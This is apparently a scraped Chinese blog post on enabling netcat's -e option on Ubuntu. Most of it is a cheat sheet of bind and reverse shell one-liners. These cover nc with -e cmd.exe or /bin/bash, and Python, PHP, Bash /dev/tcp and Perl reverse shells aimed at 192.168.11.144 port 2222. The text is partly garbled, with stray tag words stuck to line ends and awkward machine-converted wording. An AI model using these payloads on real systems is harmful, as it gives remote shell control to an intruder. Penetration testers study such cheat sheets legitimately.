Ubuntu 切换 netcat 为 traditional版以及使用方法

今天用netcat时发现个人netcat居然没有-e选项php

原来安装的默认是openbsd的,而openbsd是没有-e选项的,须要变动为traditional版才有,python

变动方法以下:linux

输入shell

sudo update-alternatives --config nc

此时会显示netcat的各个版本,输入2选择traditionalwindows

以后nc便有了-e选项bash

netcat-openbsd的用法与netcat-traditional用法有所不一样,能够根据须要自行切换。socket

 

 

反弹shell

 

方法一、正向shell

 

nc -lvp [port] -e c:\Windows\system32\cmd.exe 或者 nc -lvp [port] -e cmd

 

创建链接tcp

 

nc -nvv [ip] [port]

 

方法二、反向shell

 

nc -lvp [port]

 

反弹spa

 

nc -e c:\windows\system32\cmd.exe [ip] [port] 或者 nc -e cmd [ip] [port]

 

linux的为调试

 -e /bin/bash

 

nc的经常使用的几个参数以下所列:

 

 

0)-e
程序重定向
1
) -l 用于指定nc将处于侦听模式。指定该参数,则意味着nc被看成server,侦听并接受链接,而非向其它地址发起链接。 2) -p <port> 指定端口3) -s 指定发送数据的源IP地址,适用于多网卡机 4) -u 指定nc使用UDP协议,默认为TCP 5) -v 输出交互或出错信息,新手调试时尤其有用 6-w 超时秒数,后面跟数字 7)-z 表示zero,表示扫描时不发送任何数据
8)-n
告诉netcat 不要使用DNS反向查询IP地址的域名
9)-o <输出文件>
指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存
10)-i <延迟秒数>
设置时间间隔,以便传送信息及扫描通讯端口。

 

python反向shell

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.11.144",2222));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

 

PHP反向shell

php -r '$sock=fsockopen("192.168.11.144",2222);exec("/bin/sh -i <&3 >&3 2>&3");'

 

Bash反向shell

bash -i>&/dev/tcp/192.168.11.144/2222 0>&1

 

Perl反向shell

perl -e 'use Socket;$i="192.168.11.144";$p=2222;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
相关文章
相关标签/搜索